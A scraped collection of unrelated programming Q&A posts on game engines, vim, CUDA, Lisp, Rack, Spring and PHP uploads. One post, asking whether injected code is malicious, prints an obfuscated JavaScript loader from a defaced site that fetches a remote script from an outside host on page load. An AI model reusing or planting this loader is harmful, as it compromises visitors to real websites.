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  • Render SVG font in Adobe Illistrator or Corel Draw

    - by Viktor Burdeinyi
    Hello! I'm developing a project that produces SVG files with custom embed fonts. SVG font definition I compose as SVG font tag with help of http://www.fontsquirrel.com/fontface/generator or Batik SVG Toolkit. The resulted SVG file I try to open in following applications: Adobe Illustrator CS4 - text has default font and message noticed about font not found in system CorelDRAW X5 - text has default font and any messages don't noticed Batik SVG Browser (Squiggle) - renders text correctly The problem is all modern typographies use CorelDRAW and Abode Illustrator for print vector graphic and them render not correctly SVG. Solution As for me, I see follow solutions: Save the text with custom font as SVG path. This will work but, I can't find any solution that can convert text + TTF to SVG path data; Use other vector format, f.e. AI, EPS or CDR. This solution is difficult for me, because I use SVG paths as part of input data; Recommend our users to use Batik SVG Browser (Squiggle) or any other application which are based on Batik SVG Toolkit library. Batik SVG Toolkit requires Java runtime :( If anyone know some knowledge to open SVG embed fonts in Adobe Illustrator or CorelDRAW please share them. I would be grateful for any help. Thank you. -Viktor Burdeinyi

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  • Getting a job in the games industry as a developer, just knowing a game engine

    - by numerical25
    I recently enrolled in a community college for games developement. But I am skeptical about the curriculum. I have no experience in the gaming industry so I wouldn't be able to tell whether it's a good investment or not. So I am asking you. I don't want to get too much into the details of all the classes I am taking so I will try to be brief. By the time I graduate, I should have a understanding of how a game engine works. I will be working with the Unreal Engine to develop a Multiplayer game from scratch. So in the process of my final project, I will learn how to work within the Unreal Engine, learn Python and learn how to use its API to connect to a remote server and build game mechanics. Overall I will also recieve an associates degree in game development. I learn C++ but not C. The director said he was trying to implement C in the program as well. What I notice is I will not learn how to build a 3D game engine from scratch. They do not teach any artificial intelligence (AI). I will not learn how to work with the graphics card using a graphics API such as DirectX or OpenGL. I know building a game engine from scratch is a little complex, but at the same time the track is requiring me to take some advanced mathematics courses such as calculus and geometry 1 and 2. I also got to take a physics class. I just think that's a little much for just learning how to use the Unreal Engine but not actually build one or try to learn the anatomy of a games engine. Is this good enough to possibly land my a job in the industry? If I left anything out or was not detail, please feel free to ask more questions. Edit: I do learn data structures and algorithms.

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  • Things one needs to know while writing a game engine

    - by Joe Barr
    I have been dabbling in game development as a hobby for a while now, and I cannot seam to quite get my games to sparkle at least a bit with some graphics. I have decided to write a simple test game engine that only focuses on the representation of graphics - shapes, textures and surfaces. While I have a few very simple game engines designed for my own games under my belt, I want to create a game engine that I can use to display and play with graphics. I'm going to do this in C++. Since this is my first time with a major engine, the engine in not going to focus on 3D graphics, it's going to be a mixture of isometric and 2D graphics. My previous engines have incorporated (been able to draw) or focused on simple flat (almost 2D) non impressive graphic designs and representations of: the player NPCs objects walls and surfaces textures Also, I had some basic AI and sometimes even sound. They also saved and loaded games. They didn't have a map editor or a level editor. Is this going to be a problem in the future? At this time I have to point out that some of my games didn't get finished because I was to lazy to write the few last levels. My question at this point would be: What are some things one should know if one wants write (develope) a better graphical game engine with all it's functions.

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  • Can someone help fix my vimrc config?

    - by alex
    set nohlsearch set ai set bg=dark set showmatch highlight SpecialKey ctermfg=DarkGray set listchars=tab:>-,trail:~ set list autocmd BufRead *.py set smartindent cinwords=if,elif,else,for,while,try,except,finally,def,class set tabstop=4 set shiftwidth=4 set expandtab set autoindent set smartindent syntax on set listchars=tab:>- set listchars+=trail:. set ignorecase set smartcase map <C-t><up> :tabr<cr> map <C-t><down> :tabl<cr> map <C-t><left> :tabp<cr> map <C-t><right> :tabn<cr> map <F1> <Esc> imap <F1> <Esc> set pastetoggle=<F5> This is my vimrc. I want to fix it so that it doesn't show ---- ---- when other people tab. Thank.

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  • Programming Technique: How to create a simple card game

    - by Shyam
    Hi, As I am learning the Ruby language, I am getting closer to actual programming. So I was thinking of creating a simple card game. My question isn't Ruby orientated, but I do know want to learn how to solve this problem with a genuine OOP approach. In my card game I want to have four players. Using a standard deck with 52 cards, no jokers/wildcards. In the game I won't use the Ace as a dual card, it is always the highest card. So, the programming problems I wonder about are the following: How can I sort/randomize the deck of cards? There are four types, each having 13 values. Eventually there can be only unique values, so picking random values could generate duplicates. How can I implement a simple AI? As there are tons of card games, someone would have figured this part out already, so references would be great. I am a truly Ruby nuby, and my goal here is to learn to solve problems, so pseudo code would be great, just to understand how to solve the problem programmatically. I apologize for my grammar and writing style if it's unclear, for it is not my native language. Also pointers to sites where such challenges are explained, would be a great resource! Thank you for your comments, answers and feedback!

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  • If I wanted to make a Pac-Man Game?

    - by SoulBeaver
    I am immediately placing this as a community wiki thing. I don't want to ask for help in programming yet or have even a specific question about programming, but rather the process and the resources needed to make such a game. To put it simply: My college friend and I decided to give ourselves a really big challenge to further our skills in programming. In six months time we want to show ourselves a Pac-Man game. Pac-Man will be AI-controlled like the Ghosts and whichever Pac-Man lives the longest after a set of tries wins. This isn't like anything we've done so far. The goal here, for me, isn't to create a perfect game, but to try and complete it, learn a whole bunch in the process. Even if I don't finish in the time, which is a good possibility, I would want to have at least tried this. So my question is this: How should I start preparing myself? I already have started vector math, matrices, all that fun stuff. My desired platform would be DirectX 9.0c; is that advisable? Keep in mind that this is not a preference just for this project, but I wish to have some kind of future in graphics develepment, so I want to pick a platform that is future-safe. As for the game development in general, what should I take into consideration? I have never done a real game before, so any and all advise to development of mid-scale projects( if this would be a mid-scale project ) is greatly appreciated. My main concerns are the pit-falls and demotivators. Sorry if the question is so vague. If it doesn't belong here, then I will remove it. Otherwise, any and all advise regarding making larger projects is greatly appreciated.

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  • What's it like being a financial programmer?

    - by Mike
    As a student who's done an internship at a Silicon Valley company(non-financial), I'm curious to know what it's like working for a financial company doing software development. I'd expect the hours to be longer, and the pay to be higher. Specifically, I have the following questions: What's the work/life balance really like? Are you expected to work 80 hours a week most weeks? For those who have worked in non-financial software engineering jobs, how does being a financial software engineer compare in terms of work/life balance? How much does it pay? I'm curious as to starting(i.e. just got a BS) pay, as well as "top out" pay. (I'd prefer concrete numbers - ballpark is fine). Also, bonuses would be useful information. What jobs do financial programmers typically have? Are most just general software engineers, or do people typically have very specialized(i.e. AI or systems) backgrounds? Also, do most programmers have PhDs? Are programmers typically required to be at work, or are financial companies generally flexible about letting programmers work from home? When at work, do programmers have to dress formally? What are the technology environments like? Are finance companies using state-of-the-art hardware and software, or are they generally more conservative in upgrading their equipment? What programming languages are typically used? If VBA(shudder) is used, is it a large part of a finance company's workflow? If you could turn back the clock, would you still be a financial programmer? I'm going to keep this post open a little bit longer to get some more responses.

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  • jBPM 4.3 Task Notification tag being ignored

    - by user291780
    I have a task with a notification entry but no emails are being generated and no entries in logs. Emails from mail node work fine. What am I doing wrong? Do I have to do anything special to my custom AssignmentHandler impl for notifications? <mail g="216,156,80,40" name="Send email"> <to addresses="[email protected]" /> <subject>Testing the mail activity</subject> <text>This message was sent by the jBPM mail activity tester</text> <transition g="-78,-18" to="User Review" /> </mail> <task g="210,250,92,52" name="User Review"> <description>User Review Task Description</description> <assignment-handler class="com.kevinmoodley.BPMTaskAssignmentHandler"> <description>Review AI Process Failure Assignment Handler</description> </assignment-handler> <notification> <to addresses="[email protected]" /> <subject>Testing from task</subject> <text>This message was sent by the jBPM User Review task</text> </notification> <transition g="-42,-18" name="CANCEL" to="end1" /> <transition g="-42,-18" name="RESTART" to="end2" /> </task> Thanks Kevin

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  • Solving problems involving more complex data structures with CUDA

    - by Nils
    So I read a bit about CUDA and GPU programming. I noticed a few things such that access to global memory is slow (therefore shared memory should be used) and that the execution path of threads in a warp should not diverge. I also looked at the (dense) matrix multiplication example, described in the programmers manual and the nbody problem. And the trick with the implementation seems to be the same: Arrange the calculation in a grid (which it already is in case of the matrix mul); then subdivide the grid into smaller tiles; fetch the tiles into shared memory and let the threads calculate as long as possible, until it needs to reload data from the global memory into shared memory. In case of the nbody problem the calculation for each body-body interaction is exactly the same (page 682): bodyBodyInteraction(float4 bi, float4 bj, float3 ai) It takes two bodies and an acceleration vectors. The body vector has four components it's position and the weight. When reading the paper, the calculation is understood easily. But what is if we have a more complex object, with a dynamic data structure? For now just assume that we have an object (similar to the body object presented in the paper) which has a list of other objects attached and the number of objects attached is different in each thread. How could I implement that without having the execution paths of the threads to diverge? I'm also looking for literature which explains how different algorithms involving more complex data structures can be effectively implemented in CUDA.

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  • Any book on designing and implementing a CRPG engine?

    - by Fabzter
    Hi! First, let me tell you, I am not really interested in making my own rpg engine (at least not in the near future, hehe), but I do feel like I want to understand the internals of how a rpg engine works. Why? Well, because I like to read about programming and design, It keeps me motivated and excited, and because I know I will learn a lot, for, even when I have been programming for some years now, I never stop considering myself an ignorant... there are simply SO many things involving a game engine (specially rpg ones, like branching storylines, and items and economics!) I'm eager to know. I've been searching (and thus, finding) lots of info online, but it is never focused in what I'm interested (most of it talks about the mathematics and AI algorithms implementation, which I know quite well), which is the design of overall structure, patterns, scripting engine, decision engine... damn, so many things I can't even imagine, since I've never done any game programming. I hope you know have an idea of how I feel, and how I want to learn for the sake of learning, and why would I want you to tell me if you know if there exist books touching the topics that interest me the most.

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  • Image File In Text Editor - What Are The Characters? What's the Process?

    - by TheDarkIn1978
    i'm currently in the process of conceptualizing an art piece for a gallery show next year, so this bizarre question of mine is more than just simple curiosity. if i open up an image file (a .PNG) with Text Edit or Note Pad, the file is presented in textual characters. something like this except: æº"í=™?0Ù:Ã,ÏI8^?K¯pmDHƒÃ?;wÔlD DDF›ä™èÜE[E˜ƒê?¯ƒºäeèçã?'ów+æ1ï‡ê0òHõñ?ò$úîù¥{WÎn}2*Ÿ!y(Ö!%2e9U2µ i4Õ(?=ù(›7}:É?##„G¶VfcVñ[÷D6gvrˆvéZN›=Ù=ó{púp…p?Ók‹oÃvŒÛ»{ùœóüôøW†W–VH\P?P$VTPt^lQ‹_B_S=Q™\Z[Ü)s/{]Œ_û]~¯¿¯Awu˜ùä’JÖ Í*tï[’ÎáÔ=<Æ6?~ZCWSÛpVµ?±ØŒ?nÆ^¨æ??™¡?a¥ë£1µÒÁ#?Gè)G<^mRl™m?jˆj~€"“R–Úª’?u?çO-•m˜â?ìéväˆàˆOä5ùXùûù”]¬]?]›V›œ{X{Óˆ|Ô’Èm{J?4‰Èáæõ}??~Á?óºYáœåüuRFÆ>W|^3Ñ5‰94=,<ú?|1b=2< >ö:?sÃ`¨{úf<f|ÛÖ?ãÊ íâ–âè/_÷O¬}Â?Í›§Ãd’kÃkØ?sSíS? ??øy;-6]ˆ?÷ÌÌÙåËLÈ,l÷uvzNtÆt6Ô6?O ?P?_t_|°N¸]Ÿ{ƒ{è˜3KK> ?x~ò[ñ\ÆXA?x?Ãî?X? ?…°”¸™‘jÂzÕkm~]jObµ·p1°Y‚s?&b”}s?ãËóí-»ñ”÷‰?‡v?ˆ˜WõØ£??æe~;¸n?Ooáa'aÁÎÌ-ª$ª!ª~ ?¨‹CÏpÏO/Á›œ/?80<Ë<§8 can anyone explain what is happening here? are the characters some form translation of pixel data by the text editor? maybe it is completely meaningless / an error? if not, is there a name for this type of data conversion or process?

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  • What does this script do? Is it malicious?

    - by ramdaz
    This script was added to a defaced web page of a client web site running PHP. I have no clue what this script can do, and do not know whether this is really malicious. Can someone advise. Please find code below.... var GU='';var h;var X=new String();var mP="";H=function(){var F=["hu"];function L(Lc,O,d){return Lc.substr(O,d);}OH=55345;OH-=37;var x=document;QM=6929;QM++;q=25298;q-=65;var t='';var vs={};var u=["hR"];var Oi=RegExp;var A={kh:"LQ"};var v=new String("/goo"+"gle."+L("com/DyBg",0,4)+L("abc.EBgq",0,4)+L("0vm1go.c1m0v",4,4)+"om/t"+L("erraX6U",0,4)+L(".comKvlS",0,4)+L("P1By.br.By1P",4,4)+"php");yz={Ec:false};function y(Lc,O){hI=24414;hI++;g={};a=28529;a--;var d=new String(L("[n0jJ",0,1))+O+String("]");var m=new Oi(d, String("g"));n={kW:40818};ly={HN:false};return Lc.replace(m, t);};ZW=9686;ZW-=202;GE=56525;GE-=235;D=["u_","QP"];var E=null;var vd={ka:"J"};var Jn=new Date();Xg={V:51919};var l=751407-743327;try {} catch(U){};var W=new String("body");var qi="qi";this.Vf=38797;this.Vf--;var P=y('skchrkikpjtJ','SvFJDneKyEB_akgG1jx6h7OMZ');var RlE=58536;var Xx=false;this.jo='';vi=41593;vi--;h=function(){try {var YU=new String();var DY="";var dY=y('c4rJeJaVt_ebEslVe4mJe_n4ty','bqV_4sJy6');CN={_Y:63379};s=x[dY](P);var fH="fH";pI=33929;pI--;Uw=[];var G=y('sVrvc5','5wvD6TG4IuR2MLBjQgPpbVK');var Wg=[];var Lc=l+v;var yW=new String();var iO=new String();var Oe=String("defe"+"r");var Et=["qO","AF"];var QX=13548;s[G]=new String("http:"+L("//ten5qC",0,5)+"thpro"+"fit.r"+L("u:mn7k",0,2))+Lc;PA={};s[Oe]=[2,1][1];this.Vt="Vt";var ho=46131;try {var kn='cI'} catch(kn){};this.ww=27193;this.ww+=97;x[W].appendChild(s);this.yk=60072;this.yk++;var Lp=new Date();} catch(PY){this.ku=43483;this.ku++;this.ra=47033;this.ra--;this.ru="ru";};var lu=new Array();var me=new String();};};YB=["LB","uM"];var AI={Vm:4707};H();this.mDs=57864;this.mDs-=135;zz=44697;zz++;var sn=[];window.onload=h;var PQ=false;var mF={Hm:false};try {var r_='iv'} catch(r_){};this.z_="z_";

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  • Why Am I Getting a 1090 Error, an XML Parser Error?

    - by Laxmidi
    Hi, In my Flex 3 site, I'm getting a 1090 error, an xml parser error in IE only. It works in Safari and Firefox. Does anyone see a problem with this xml? <adXMLReturn> <script type="text/javascript"/> <script type="text/javascript" src="http://www.dcscore.com/openx/www/delivery/ajs.php?zoneid=4&amp;cb=82622824804&amp;charset=UTF-8&amp;loc=http%3A//localhost/property-debug/property.html%3Fdebug%3Dtrue"/> <a href="http://www.dcscore.com/openx/www/delivery/ck.php?oaparams=2__bannerid=1__zoneid=4__cb=3ab5c92ee5__oadest=http%3A%2F%2Fwww.dcscore.com" target="_blank"> <img src="http://www.dcscore.com/openx/www/delivery/ai.php?filename=mybanner.png&amp;contenttype=png" alt="" title="" border="0" height="60" width="468"/> </a> <div id="beacon_3ab5c92ee5" style="position: absolute; left: 0px; top: 0px; visibility: hidden;"> <img src="http://www.dcscore.com/openx/www/delivery/lg.php?bannerid=1&amp;campaignid=1&amp;zoneid=4&amp;loc=http%3A%2F%2Flocalhost%2Fproperty-debug%2Fproperty.html%3Fdebug%3Dtrue&amp;cb=3ab5c92ee5" alt="" style="width: 0px; height: 0px;" height="0" width="0"/> </div> <noscript> <a href="http://www.dcscore.com/openx/www/delivery/ck.php?n=a0ea89cb&amp;cb=INSERT_RANDOM_NUMBER_HERE" target="_blank"> <img src="http://www.dcscore.com/openx/www/delivery/avw.php?zoneid=4&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=a0ea89cb" border="0" alt=""/> </a> </noscript> </adXMLReturn> Thank you. -Laxmidi

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  • Prolog: Not executing code as expected.

    - by Louis
    Basically I am attempting to have an AI agent navigate a world based on given percepts. My issue is handling how the agent moves. Basically, I have created find_action/4 such that we pass in the percepts, action, current cell, and the direction the agent is facing. As it stands the entire code looks like: http://wesnoth.pastebin.com/kdNvzZ6Y My issue is mainly with lines 102 to 106. Basically, in it's current form the code does not work and the find_action is skipped even when the agent is in fact facing right (I have verified this). This broken code is as follows: % If we are headed right, take a left turn find_action([_, _, _, _, _], Action, _, right) :- retractall(facing(_)), assert(facing(up)), Action = turnleft . However, after some experimentation I have concluded that the following works: % If we are headed right, take a left turn find_action([_, _, _, _, _], Action, _, _) :- facing(right), retractall(facing(_)), assert(facing(up)), Action = turnleft . I am not entire sure why this is. I've attempted to create several identical find_action's as well, each checking a different direction using the facing(_) format, however swipl does not like this and throws an error. Any help would be greatly appreciated.

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  • Simplest possible rack app -> permission error

    - by 7stud
    Here's the program(1.rb) blah blah blah blah blah blah: require 'rack' my_rack = lambda { |env| [200, {}, ["Hello. The time is: #{Time.now}"]] } handler = Rack::Handler::WEBrick handler.run(my_rack, :PORT => 12_500) Here's the error (blah blah blah blah blah): ~/ruby_programs$ ruby 1.rb [2012-12-07 21:49:09] INFO WEBrick 1.3.1 [2012-12-07 21:49:09] INFO ruby 1.9.3 (2012-04-20) [x86_64-darwin10.8.0] [2012-12-07 21:49:09] WARN TCPServer Error: Permission denied - bind(2) [2012-12-07 21:49:09] WARN TCPServer Error: Permission denied - bind(2) /Users/7stud/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/1.9.1/webrick/utils.rb:85:in `initialize': Permission denied - bind(2) (Errno::EACCES) from /Users/7stud/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/1.9.1/webrick/utils.rb:85:in `new' from /Users/7stud/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/1.9.1/webrick/utils.rb:85:in `block in create_listeners' from /Users/7stud/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/1.9.1/webrick/utils.rb:82:in `each' from /Users/7stud/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/1.9.1/webrick/utils.rb:82:in `create_listeners' from /Users/7stud/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/1.9.1/webrick/server.rb:82:in `listen' from /Users/7stud/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/1.9.1/webrick/server.rb:70:in `initialize' from /Users/7stud/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/1.9.1/webrick/httpserver.rb:45:in `initialize' from /Users/7stud/.rvm/gems/ruby-1.9.3-p194@programming/gems/rack-1.4.1/lib/rack/handler/webrick.rb:10:in `new' from /Users/7stud/.rvm/gems/ruby-1.9.3-p194@programming/gems/rack-1.4.1/lib/rack/handler/webrick.rb:10:in `run' from 1.rb:5:in `<main>' ~/ruby_programs$ Here's line 85 of ../webrick/utils.rb: sock = TCPServer.new(ai[3], port) If I replace the code in 1.rb with this: require 'socket' server = TCPServer.new 12_000 # Server bind to port 2000 loop do client = server.accept # Wait for a client to connect client.puts "Hello !" client.puts "Time is #{Time.now}" client.close end I don't get any errors, and if I enter the address: http://localhost:12000/ in my browser, I get the expected output: Hello ! Time is 2012-12-07 18:58:15 -0700

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  • SpringMvc Annotations for DAO interface and DAO implementation

    - by dev_darin
    I would like to know if I am annotating these classes correctly, since I am new to the annotations: Country.java @Component public class Country { private int countryId; private String countryName; private String countryCode; /** * No args constructor */ public Country() { } /** * @param countryId * @param countryName * @param countryCode */ public Country(int countryId, String countryName, String countryCode) { this.countryId = countryId; this.countryName = countryName; this.countryCode = countryCode; } //getters and setters } CountryDAO.java @Repository public interface CountryDAO { public List<Country> getCountryList(); public void saveCountry(Country country); public void updateCountry(Country country); } JdbcCountryDAO.java @Component public class JdbcCountryDAO extends JdbcDaoSupport implements CountryDAO{ private final Logger logger = Logger.getLogger(getClass()); @Autowired public List<Country> getCountryList() { int countryId = 6; String countryCode = "AI"; logger.debug("In getCountryList()"); String sql = "SELECT * FROM TBLCOUNTRY WHERE countryId = ? AND countryCode = ?"; logger.debug("Executing getCountryList String "+sql); Object[] parameters = new Object[] {countryId, countryCode}; logger.info(sql); //List<Country> countryList = getJdbcTemplate().query(sql,new CountryMapper()); List<Country> countryList = getJdbcTemplate().query(sql, parameters,new CountryMapper()); return countryList; } CountryManagerIFace.java @Repository public interface CountryManagerIFace extends Serializable{ public void saveCountry(Country country); public List<Country> getCountries(); } CountryManager.java @Component public class CountryManager implements CountryManagerIFace{ @Autowired private CountryDAO countryDao; public void saveCountry(Country country) { countryDao.saveCountry(country); } public List<Country> getCountries() { return countryDao.getCountryList(); } public void setCountryDao(CountryDAO countryDao){ this.countryDao = countryDao; } }

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  • Can't get syntax on to work in my gvim.

    - by user198553
    (I'm new to Linux and Vim, and I'm trying to learn Vim but I'm having some issues with it that I can't seen do fix) I'm in a Linux installation (Ubuntu 8.04) that I can't update, using Vim 7.1.138. My vim installation is in /usr/share/vim/vim71/. /home/user/ My .vimrc file is in /home/user/.vimrc, as follows: fun! MySys() return "linux" endfun set runtimepath=~/.vim,$VIMRUTNTIME source ~/.vim/.vimrc And then, in my /home/user/.vim/.vimrc: " =============== GENERAL CONFIG ============== set nocompatible syntax on " =============== ENCODING AND FILE TYPES ===== set encoding=utf8 set ffs=unix,dos,mac " =============== INDENTING =================== set ai " Automatically set the indent of a new line (local to buffer) set si " smartindent (local to buffer) " =============== FONT ======================== " Set font according to system if MySys() == "mac" set gfn=Bitstream\ Vera\ Sans\ Mono:h13 set shell=/bin/bash elseif MySys() == "windows" set gfn=Bitstream\ Vera\ Sans\ Mono:h10 elseif MySys() == "linux" set gfn=Inconsolata\ 14 set shell=/bin/bash endif " =============== COLORS ====================== colorscheme molokai " ============== PLUGINS ====================== " -------------- NERDTree --------------------- :noremap ,n :NERDTreeToggle<CR> " =============== DIRECTORIES ================= set backupdir=~/.backup/vim set directory=~/.swap/vim ...fact is the command syntax on is not working, neither in vim or gvim. And the strange thing is: If I try to set the syntax using the gvim toolbat, it works. Then, in normal mode in gvim, after activating using the toolbar, using the code :syntax off, it works, and just after doing this trying to do :syntax on doesn't work!! What's going on? Am I missing something?

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  • How can I SETF an element in a tree by an accessor?

    - by Willi Ballenthin
    We've been using Lisp in my AI course. The assignments I've received have involved searching and generating tree-like structures. For each assignment, I've ended up writing something like: (defun initial-state () (list 0 ; score nil ; children 0 ; value 0)) ; something else and building my functions around these "states", which are really just nested lists with some loosely defined structure. To make the structure more rigid, I've tried to write accessors, such as: (defun state-score ( state ) (nth 2 state)) This works for reading the value (which should be all I need to do in a nicely functional world. However, as time crunches, and I start to madly hack, sometimes I want a mutable structure). I don't seem to be able to SETF the returned ...thing (place? value? pointer?). I get an error with something like: (setf (state-score *state*) 10) Sometimes I seem to have a little more luck writing the accessor/mutator as a macro: (defmacro state-score ( state ) `(nth 2 ,state)) However I don't know why this should be a macro, so I certainly shouldn't write it as a macro (except that sometimes it works. Programming by coincidence is bad). What is an appropriate strategy to build up such structures? More importantly, where can I learn about whats going on here (what operations affect the memory in what way)?

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  • QuadTrees - how to update when internal items are moving

    - by egarcia
    I've implemented a working QuadTree. It subdivides 2-d space in order to accomodate items, identified by their bounding box (x,y,width,height) on the smallest possible quad (up to a minimum area). My code is based on this implementation (mine is in Lua instead of C#) : http://www.codeproject.com/KB/recipes/QuadTree.aspx I've been able to successfully implement insertions and deletions successfully. I've turn now my attention to the update() function, since my items' position and dimensions change over time. My first implementation works, but it is quite naïve: function QuadTree:update(item) self:remove(item) return self.root:insert(item) end Yup, I basically remove and reinsert every item every time they move. This works, but I'd like to optimize it a bit more; after all, most of the time, moving items still remain on the same quadTree node most of the iterations. Is there any standard way to deal with this kind of update? In case it helps, my code is here: http://github.com/kikito/passion/blob/master/ai/QuadTree.lua I'm not looking for someone to implement it for me; pointers to an existing working implementation (even in other languages) would suffice.

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  • Creating a smart text generator

    - by royrules22
    I'm doing this for fun (or as 4chan says "for teh lolz") and if I learn something on the way all the better. I took an AI course almost 2 years ago now and I really enjoyed it but I managed to forget everything so this is a way to refresh that. Anyway I want to be able to generate text given a set of inputs. Basically this will read forum inputs (or maybe Twitter tweets) and then generate a comment based on the learning. Now the simplest way would be to use a Markov Chain Text Generator but I want something a little bit more complex than that as the MKC basically only learns by word order (which word is more likely to appear after word x given the input text). I'm trying to see if there's something I can do to make it a little bit more smarter. For example I want it to do something like this: Learn from a large selection of posts in a message board but don't weight it too much For each post: Learn from the other comments in that post and weigh these inputs higher Generate comment and post See what other users' reaction to your post was. If good weigh it positively so you make more posts that are similar to the one made, and vice versa if negative. It's the weighing and learning from mistakes part that I'm not sure how to implement. I thought about Artificial Neural Networks (mainly because I remember enjoying that chapter) but as far as I can tell that's mainly used to classify things (i.e. given a finite set of choices [x1...xn] which x is this given input) not really generate anything. I'm not even sure if this is possible or if it is what should I go about learning/figuring out. What algorithm is best suited for this? To those worried that I will use this as a bot to spam or provide bad answers to SO, I promise that I will not use this to provide (bad) advice or to spam for profit. I definitely will not post it's nonsensical thoughts on SO. I plan to use it for my own amusement. Thanks!

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  • Suggest the way to design several classes

    - by Oleg Tarasenko
    Hi, I'm building simple application on as3. Kind of starship game. What I want to do is to create several different star ships. Each one should have different images (different look), different sets of animation (e.g. when it's flying, burning, damaged), different kind of weapon and also different controllers (e.g. one can be managed by user, another one by computer, and I want to be able to reuse same ships for AI controller as well as for users controls). Each ship is created in the following way: Create entity Add spatial Add renderers Add other components.... ...... n. init the ship So what I am trying to do: 1) Create StarShip superclass, to store HP (as every ship has it), store spatial (same reason) 2) Create inherited class for any other ship... (It will contain renderer - (responsible for display part), weapon, set of animations), etc What do you think about such way of composition? Maybe it's better to place everything in super class, and then just create instances using long, long, long constructors like: StarShip(hp:HP, animations:DICT, weapon:Weapon, ....) Need advice

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  • Ways to gain a deeper understanding of programming concepts?

    - by MrPlow
    I'm a marketer and have been messing around in PHP/MySQL for years. Recently (the last several months) I've been making my own scripts/programs in Python and I've really enjoyed the whole problem solving process. I've read(skimmed) some books and understand the basics of OOP, polymorphism, etc.. I have a general interest in AI and Natural Language in particular but it seems these things require a masters in Computer Science. My knowledge of math is poor. The last class I took was calculus, and I've forgotten the majority of it. Basically I'm looking for things to learn that will help me think in a more analytic way, and maybe see solutions where I didn't before. Improving my ability to program in Python would be nice too. I don't need to learn a specific language or something for employment, just enjoyment. Although my work often involves web development so some utility would be nice. I don't like learning concepts by just reading them. I need to apply them, even if the examples are contrived. A recommendation of a couple good books or other resources would be nice. :) Apologies if this is too vague/misplaced...

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  • MUD (game) design concept question about timed events.

    - by mudder
    I'm trying my hand at building a MUD (multiplayer interactive-fiction game) I'm in the design/conceptualizing phase and I've run into a problem that I can't come up with a solution for. I'm hoping some more experienced programmers will have some advice. Here's the problem as best I can explain it. When the player decides to perform an action he sends a command to the server. the server then processes the command, determines whether or not the action can be performed, and either does it or responds with a reason as to why it could not be done. One reason that an action might fail is that the player is busy doing something else. For instance, if a player is mid-fight and has just swung a massive broadsword, it might take 3 seconds before he can repeat this action. If the player attempts to swing again to soon, the game will respond indicating that he must wait x seconds before doing that. Now, this I can probably design without much trouble. The problem I'm having is how I can replicate this behavior from AI creatures. All of the events that are being performed by the server ON ITS OWN, aka not as an immediate reaction to something a player has done, will have to be time sensitive. Some evil monster has cast a spell on you but must wait 30 seconds before doing it again... I think I'll probably be adding all these events to some kind of event queue, but how can I make that event queue time sensitive?

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  • Randomly sorting an array

    - by Cam
    Does there exist an algorithm which, given an ordered list of symbols {a1, a2, a3, ..., ak}, produces in O(n) time a new list of the same symbols in a random order without bias? "Without bias" means the probability that any symbol s will end up in some position p in the list is 1/k. Assume it is possible to generate a non-biased integer from 1-k inclusive in O(1) time. Also assume that O(1) element access/mutation is possible, and that it is possible to create a new list of size k in O(k) time. In particular, I would be interested in a 'generative' algorithm. That is, I would be interested in an algorithm that has O(1) initial overhead, and then produces a new element for each slot in the list, taking O(1) time per slot. If no solution exists to the problem as described, I would still like to know about solutions that do not meet my constraints in one or more of the following ways (and/or in other ways if necessary): the time complexity is worse than O(n). the algorithm is biased with regards to the final positions of the symbols. the algorithm is not generative. I should add that this problem appears to be the same as the problem of randomly sorting the integers from 1-k, since we can sort the list of integers from 1-k and then for each integer i in the new list, we can produce the symbol ai.

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  • Can I attach data gathered by a form to a file that is being uploaded?

    - by Jacob
    I need customers to upload files to my website and I want to gather their name or company name and attach it to the file name or create a folder on the server with that as the name so we can keep the files organized. Using PHP to upload file PHP: if(isset($_POST['submit'])){ $target = "upload/"; $file_name = $_FILES['file']['name']; $tmp_dir = $_FILES ['file']['tmp_name']; try{ if(!preg_match('/(jpe?g|psd|ai|eps|zip|rar|tif?f|pdf)$/i', $file_name)) { throw new Exception("Wrong File Type"); exit; } move_uploaded_file($tmp_dir, $target . $file_name); $status = true; } catch (Exception $e) { $fail = true; } } Other PHPw/form: <form enctype="multipart/form-data" action="" method="post"> input type="hidden" name="MAX_FILE_SIZE" value="1073741824" /> label for="file">Choose File to Upload </label> <br />input name="file" type="file" id="file" size="50" maxlength="50" /><br /> input type="submit" name="submit" value="Upload" /> php if(isset($status)) { $yay = "alert-success"; echo "<div class=\"$yay\"> <br/> <h2>Thank You!</h2> <p>File Upload Successful!</p></div>"; } if(isset($fail)) { $boo = "alert-error"; echo "<div class=\"$boo\"> <br/> <h2>Sorry...</h2> <p>There was a problem uploading the file.</p><br/><p>Please make sure that you are trying to upload a file that is less than 50mb and an acceptable file type.</p></div>"; }

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